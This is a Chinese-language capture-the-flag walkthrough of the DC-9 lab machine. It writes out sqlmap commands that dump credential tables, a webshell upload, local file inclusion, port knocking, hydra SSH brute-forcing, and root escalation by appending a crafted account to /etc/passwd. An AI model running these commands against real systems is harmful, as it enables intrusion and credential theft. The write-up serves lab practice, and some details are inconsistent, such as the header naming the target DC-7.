DC-9
试验机:DC-7 (网络连接为net)
攻击机:kali (IP:192.168.146.140)
使用nmap进行信息收集
使用nmap进行更详细的信息收集(开始使用参数)
nmap -A -sV -p- 192.168.146.153
获取信息有,22端口ssh被过滤了,80端口为开启状态,apache版本为2.4.38
同时使用dirb和dirsearch进行网页扫描
访问这几个网站看看
http://192.168.146.153/display.php
获得敏感信息
http://192.168.146.153/includes/
apache2.4.38(以获取的敏感信息)
http://192.168.146.153/index.php
介绍页面
http://192.168.146.153/index.php/login
没看出啥
http://192.168.146.153/manage.php
一个登录界面
http://192.168.146.153/search.php
一个搜索界面,可能存在猜测可能存在sql注入,尝试用burpsuite进行抓包然后使用mysql进行注入
开启burpsuite
设置网页代理(我这里是使用了一个插件进行快速网页代理,如果没有插件,可以在设置中进行网页代理)
burpsuite中设置
浏览器代理设置
firefox设置中的网页代理(使用浏览器为firefox,其他浏览器也差不多)
选择手动代理,然后输入跟burpsuite中一样的配置参数就可以了
切换到搜索界面,随便输入些啥,然后开启intercept is off进行数据包抓取
随便输入啥,点击submit
复制burpsuite抓取到的数据包(ctrl+c)
复制到文件中
使用sqlmap进行注入
sqlmap -r 1.txt
没有报错,确实含有sql注入,加上参数,爆出所有数据库
sqlmap -r 1.txt --dbs
出现三个数据库(如果自己不确定,那就一个一个查)
先查Users数据库,添加参数查看表名
sqlmap -r 1.txt -D users --tables
就一个表,继续查看列名
sqlmap -r 1.txt -D users -T UserDetails --columns
指定password,username进行数据查询
sqlmap -r 1.txt -D users -T UserDetails -C Username,password --dump
跑出来好多用户,尝试用dirsearch跑出来的登录网页进行登录
全部尝试登陆后都登录失败
换一个数据库继续(重复操作)
sqlmap -r 1.txt -D Staff --tables
两个表,直接锁定Users表,进行列名查询
sqlmap -r 1.txt -D Staff -T Users --columns
指定password,username进行数据查询,弹出选项大概意思就是是否使用默认字典进行爆破,选择Y
sqlmap -r 1.txt -D Staff -T Users -C password,username --dump
账户密码都爆出来了,进行登录
登录成功
点击add record,进行数据写入
随便输入点啥,成功,在Display All Records,中查看到写入的内容
尝试进行一句话木马写入
上传成功
使用蚁剑进行连接
返还为空
在登录成功的页面发现下面有一行英文
翻译大概意思就是文件不存在,可能之前因该是要显示一个文件,但是文件没了,怀疑可能含有文件包含(参数是file,别问,问就是我也不知道,试出来的(因该))
没有显示,多加几层../
有了,确实存在文件包含,判断一下是远程文件包含还是本地文件包含
在kali的html目录下写一个php文件
代码执行结果为显示php的详细信息,进行远程文件包含
没有结果
看来是本地文件包含,想起信息收集的时候22端口被过滤了,网上进行搜索发现有一个工具可以过滤nmap的扫描
配置方法(https://zhuanlan.zhihu.com/p/373308651)
发现配置文件在/etc目录下,查看该配置文件
用nmap访问一下限制的端口,ssh就可以被扫描到了(如果不行的话就用nc连接,注释:要按照openssh来)
nmap -p 7469,8475,9842 192.168.146.153
在使用nmap进行扫描,发现22端口为开启状态
使用从数据库中爆出admin用户进行登陆
登录失败,想起之前还报过一个数据库,里面全是用户和密码,保存到文件中在使用hydra进行爆破
用户文件
密码文件
使用hydra进行爆破
hydra -L user.txt -P 2.txt ssh://192.168.146.153
爆出三个用户,尝试进行登录
第一个用户登录,登录成功
权限没有,文件也没有
下一个用户
跟上一个用户一样,没什么好看的,切换下一个
还是没有权限,但是发现新的文件
在文件中发现一个密码存放文件
把他加入到hydra爆破ssh的密码文件中,再次进行爆破,看看有没有可能在爆出用户
继续进行爆破,新出了一个用户
用这个用户进行登录,成功
查看有哪些可以进行suid提权
find / -perm -4000 2>/dev/null
使用sudo -l看看哪个文件有root权限
发现test有root权限,切换到test目录下执行test文件s
显示是一个python脚本文件
find / -name test.py 查找文件位置
cat /opt/devstuff/test.py 查看文件内容
简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权
使用命令
openssl passwd -1 -salt yonghu 123456 生成密码在使用openssl进行加密
echo ‘wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash’ > /tmp/se 在写入文件中
./test /tmp/se /etc/passwd 再将se文件中的账号密码写入passwd中
切换写入的用户,获得flag
标签:sqlmap,文件,146.153,DC,192.168,txt,进行 From: https://www.cnblogs.com/eiu1110/p/17071191.html